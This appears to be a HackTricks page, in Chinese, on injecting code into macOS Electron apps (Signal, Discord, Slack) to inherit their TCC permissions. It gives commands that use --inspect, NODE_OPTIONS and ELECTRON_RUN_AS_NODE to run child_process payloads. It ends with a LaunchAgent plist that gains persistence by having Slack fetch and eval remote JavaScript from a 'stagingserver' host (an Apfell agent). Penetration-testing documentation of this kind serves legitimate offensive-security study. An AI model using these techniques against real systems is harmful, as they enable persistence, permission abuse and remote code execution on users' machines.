6.6 KiB
macOS Electron应用程序注入
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
向Electron应用程序添加代码
Electron应用程序的JS代码未经签名,因此攻击者可以将应用程序移动到可写位置,注入恶意JS代码并启动该应用程序以滥用TCC权限。
然而,修改应用程序需要**kTCCServiceSystemPolicyAppBundles
**权限,默认情况下不再允许此操作。
检查Electron应用程序
根据这篇文章,如果你使用**--inspect
、--inspect-brk
和--remote-debugging-port
等标志来执行Electron应用程序,将会打开一个调试端口**,你可以连接到它(例如从Chrome中的chrome://inspect
),然后你就可以在其中注入代码或者启动新的进程。
例如:
{% code overflow="wrap" %}
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
{% endcode %}
{% hint style="danger" %}
请注意,现在已经加固的 Electron 应用程序在启动时将忽略节点参数(如 --inspect),除非设置了环境变量 ELECTRON_RUN_AS_NODE
。
但是,您仍然可以使用 electron 参数 --remote-debugging-port=9229
,但之前的有效载荷将无法执行其他进程。
{% endhint %}
NODE_OPTIONS
{% hint style="warning" %}
如果 Electron 应用程序已经被适当加固并且允许使用此变量,则此环境变量才能起作用。如果已经加固,您还需要使用环境变量 ELECTRON_RUN_AS_NODE
。
{% endhint %}
通过这种组合,您可以将有效载荷存储在不同的文件中并执行该文件:
{% code overflow="wrap" %}
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$
# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
ELECTRON_RUN_AS_NODE
根据文档的说明,如果设置了这个环境变量,它将以普通的Node.js进程启动。
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
{% endcode %}
正如在这里提出的,您可以滥用这个环境变量在 plist 中保持持久性:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?想要在 HackTricks 中宣传你的公司吗?或者你想要获取最新版本的 PEASS 或下载 HackTricks 的 PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方 PEASS & HackTricks 商品
- 加入💬 Discord 群组 或 Telegram 群组,或者关注我在推特上的🐦@carlospolopm。
- 通过向hacktricks 仓库 和hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。